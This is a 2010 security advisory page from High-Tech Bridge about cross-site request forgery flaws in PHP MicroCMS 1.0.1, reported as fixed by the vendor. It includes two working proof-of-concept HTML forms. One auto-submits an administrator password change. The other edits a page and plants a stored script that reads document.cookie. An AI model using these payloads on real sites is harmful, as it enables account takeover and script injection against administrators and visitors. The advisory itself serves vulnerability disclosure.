Stay in Touch

Application security insights and invitations to exclusive events in your inbox


Your data will stay confidential Private and Confidential

Cross-site Request Forgery (CSRF) Vulnerabilities in PHP MicroCMS

Advisory ID:HTB22764
Product:PHP MicroCMS
Vendor:ApPHP
Vulnerable Versions:1.0.1 and probably prior
Tested Version:1.0.1
Advisory Publication:December 21, 2010 [without technical details]
Vendor Notification:December 21, 2010
Public Disclosure:January 4, 2011
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
Risk Level:Medium
CVSSv2 Base Score:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in PHP MicroCMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in PHP MicroCMS
1.1 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/index.php?admin=my_account" method="post">
<input type="hidden" name="password_one" value="newpass">
<input type="hidden" name="password_two" value="newpass">
<input type="submit" id="btn" name="submit" value="Change Password">
</form>
<script>
document.getElementById('btn').click();
</sc ript>

1.2 The vulnerability exists due to insufficient validation of the request origin in index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify pages. Due to insufficient sanitation of input data in the "page_text" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/index.php?admin=static_pages_edit&pk=home" method="post" name="main">
<input type="hidden" name="pk" value="home">
<input type="hidden" name="page_title" value="Welcome to PHP MicroCMS">
<input type="hidden" name="page_text" value="text<script>alert(document.cookie)</script>">
<input type="hidden" name="subSavePage" value="Save Changes">
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to the most recent version

More Information:
http://www.apphp.com/php-microcms/index.php?page=downloads


References:
[1] High-Tech Bridge Advisory HTB22764 - https://www.immuniweb.com/advisory/HTB22764 - Cross-site Request Forgery (CSRF) Vulnerabilities in PHP MicroCMS
[2] PHP MicroCMS - apphp.com - MicroCMS (PHP MCMS) is a simple, but very powerful Content Management System that everyone can use.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Quick Start
Technology
Products
Free Trial